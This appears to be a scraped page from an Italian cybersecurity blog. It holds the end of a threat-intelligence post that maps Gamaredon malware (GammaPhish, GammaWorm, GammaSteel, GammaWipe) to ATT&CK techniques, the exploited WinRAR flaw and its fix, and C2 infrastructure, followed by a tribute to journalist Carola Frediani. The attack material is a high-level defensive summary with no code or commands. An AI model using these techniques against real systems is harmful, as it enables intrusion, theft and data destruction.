T1204.002 – User Execution: Malicious File (GammaPhish HTA)
T1059.005 – Command and Scripting Interpreter: VBScript (GammaLoad/GammaWorm)
T1053.005 – Scheduled Task/Job (GammaWorm persistence)
T1091    – Replication Through Removable Media (GammaWorm USB spread)
T1027    – Obfuscated Files/Information: NTFS Alternate Data Streams
T1102.001 – Web Service: Dead Drop Resolver (Telegram per risoluzione C2)
T1041    – Exfiltration Over C2 Channel (GammaSteel → AWS S3)
T1485    – Data Destruction (GammaWipe, attivato selettivamente)

## Vulnerabilità sfruttata
CVE-2025-8088 – WinRAR path traversal
Soluzione: aggiornare WinRAR all'ultima versione

## Infrastruttura C2
- Canali Telegram pubblici (hard-coded nei sample GammaWorm per DDR)
- Bucket AWS S3 attaccante-controllati (esfiltrazione GammaSteel)
- Server fallback attaccante-controllati

## Fonte primaria della ricerca
Sekoia – FSBS Matryoshka 1.3:
https://blog.sekoia.io/fsbs-matryoshka-1-3-gamaredons-gifts-that-keeps-unpacking-gammaphish-and-gammaworm/

(in)sicurezza digitale

2026-06-03 13:05:28

Ciao Carola

Ci sono notizie che arrivano come un pugno nello stomaco.

Quella della morte di Carola Frediani è una di quelle.

Per chi vive e lavora nel mondo della cybersecurity italiana, Carola non era semplicemente una giornalista. Era una presenza costante. Una delle poche persone capaci di osservare il nostro settore con lucidità, spirito critico e una rara capacità di distinguere il rumore dai fatti.

In un’epoca in cui tutto deve essere urgente, allarmistico e spettacolare, Carola aveva scelto una strada diversa: quella della comprensione.

Leggevo con attenzione la sua newsletter, seguivo i suoi articoli, i suoi approfondimenti, il suo modo di raccontare la tecnologia e la sicurezza informatica senza mai cedere alla superficialità. Riusciva a parlare tanto agli addetti ai lavori quanto a chi si avvicinava per la prima volta a questi temi, senza mai banalizzare la complessità.

Ricordo ancora con orgoglio una circostanza che mi aveva particolarmente colpito: quando citò un articolo pubblicato sul mio blog all’interno di uno dei suoi approfondimenti (la newsletter Guerre di rete sul caso SIAE) dedicati a un caso nazionale. Un gesto probabilmente normale per chi fa giornalismo con serietà, ma che per me rappresentò un riconoscimento importante. Non tanto perché proveniva da una figura autorevole del settore, quanto perché arrivava da una persona che aveva costruito la propria credibilità sulla competenza e sull’onestà intellettuale.

Negli anni, Carola è stata una delle voci che hanno contribuito a definire il dibattito italiano sulla sorveglianza digitale, sul cybercrime, sulla sicurezza delle infrastrutture, sui diritti digitali e sulle implicazioni sociali delle tecnologie che utilizziamo ogni giorno.

Ha insegnato a molti di noi che la cybersecurity non riguarda soltanto malware, ransomware e vulnerabilità. Riguarda soprattutto persone. Riguarda libertà, informazione, potere e responsabilità.

Forse è proprio questo che rende oggi così difficile accettare questa notizia.

Perché quando scompare una persona come Carola, non perdiamo soltanto una professionista. Perdiamo una voce autorevole, indipendente e profondamente necessaria.

In un settore che spesso premia chi urla più forte, lei ha dimostrato che si può lasciare un segno anche parlando con calma, documentandosi con rigore e mantenendo sempre uno sguardo umano sulle storie che raccontava.

Oggi la comunità italiana della cybersecurity è un po’ più povera.

E molti di noi si sentono improvvisamente più soli.

Grazie, Carola, per tutto quello che hai scritto, spiegato e raccontato.

Grazie per aver contribuito a costruire una cultura della sicurezza informatica più matura, più consapevole e più umana.

Ci mancherai.

Guerre di Rete - Dell'attacco a SIAE

Facebook tra metaversi, nomi e liste. Guerra ai ransomware. Disinfo statale.

^{Carola Frediani (Guerre di Rete)}